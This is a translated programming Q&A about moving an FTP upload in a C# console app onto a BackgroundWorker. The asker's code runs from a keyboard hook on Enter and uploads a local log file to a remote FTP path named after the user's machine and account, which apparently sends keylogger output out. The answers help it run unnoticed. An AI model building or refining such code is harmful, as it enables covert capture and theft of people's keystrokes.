1

我无法弄清楚如何处理我的 FTP 上传脚本。我试图让它从 C# 控制台应用程序上传。我不喜欢它在上传时冻结应用程序的事实。我听说过使用“后台工作人员”,但我完全不知道如何设置它。我一直在寻找一段时间。能给我举个例子?谢谢。

if ((Keys)vkCode == Keys.Enter)
{
                        //~~~ Enter Key pressed ~~~ //
                            string ftpsrc = Application.StartupPath + @"/logs/log.txt";
                            FtpWebRequest request2 = (FtpWebRequest)WebRequest.Create("ftp://server.com" + System.Environment.MachineName + "___" + System.Environment.UserName + @"/" + "log.txt");
                                    request2.Method = WebRequestMethods.Ftp.UploadFile;
                                    request2.Credentials = new NetworkCredential("username", "password");
                                    StreamReader sourceStream2 = new StreamReader(ftpsrc);
                                    byte[] fileContents2 = Encoding.UTF8.GetBytes(sourceStream2.ReadToEnd());
                                    sourceStream2.Close();
                                    request2.ContentLength = fileContents2.Length;
                                    Stream requestStream2 = request2.GetRequestStream();
                                    requestStream2.Write(fileContents2, 0, fileContents2.Length);
                                    requestStream2.Close();
                                    FtpWebResponse response2 = (FtpWebResponse)request2.GetResponse();
                                    response2.Close();


                            //~~~ End Enter Key ~~~//
                        }
4

2 回答 2

3

一种非常简单的方法是使用类似 a 的东西BackgroundWorker,它可以让您访问诸如进度事件之类的东西以及控制执行。此方法将允许您将 UI 线程与您的 FTP 上传逻辑完全分开。这意味着无论上传完成多长时间,您的 UI 都会做出响应。

现在多线程实际上传是另一回事。如果这就是你想要的,它将需要将消息分成相等的部分并在 FTP 端重新组装这些部分,但这意味着还要编写一个自定义 ftp 服务器。

在这里查看有关 BackgroundWorker 是什么以及如何使用它的完整说明:http: //msdn.microsoft.com/en-us/library/system.componentmodel.backgroundworker.aspx

编辑::

好的,在评论中回答您关于如何设置后台工作人员以在回车键上执行的问题。查看上述文档,了解如何使用后台工作人员的要点。

RunWorkerAsync()您可能希望使用您设置的后台工作程序的方法来更改当前的密钥挂钩。BackgroundWorker的DoWork方法应该是您当前在 key hook 中拥有的方法。

    BG.DoWork += YourUploadFunction();

    if ((Keys)vkCode == Keys.Enter)
    {
         //~~~ Enter Key pressed ~~~ //
         BG.RunWorkerAsync();
    }

要初始化BackgroundWorker这样做:

    BackgroundWorker BG = new BackgroundWorker();
    BG.DoWork += new DoWorkEventHandler(BG_DoWork);

DoWorkEventHandler允许创建一个新的处理程序来控制 BG 将执行的功能。这方面的一个例子是:

    private void BG_DoWork(object sender, DoWorkEventArgs e)
    {   
         YourUploadFunctions();
    }

但是,您可能希望BackgroundWorker只进行一次初始化,这样您就没有它的多个实例。此外,一旦设置了 DoWork 事件,就无需再次执行。`

于 2013-05-01T00:40:00.747 回答
0

BackgroundWorkers 可以很好地解决这个问题,另一个选项是 Task 类。您可以在此处阅读有关它的内容Task Class。有一个如何在页面上实现它的示例。此外,根据您使用的 .net 框架版本,您还可以查看此处显示的 Async 和 Await async await

于 2013-05-01T01:36:06.473 回答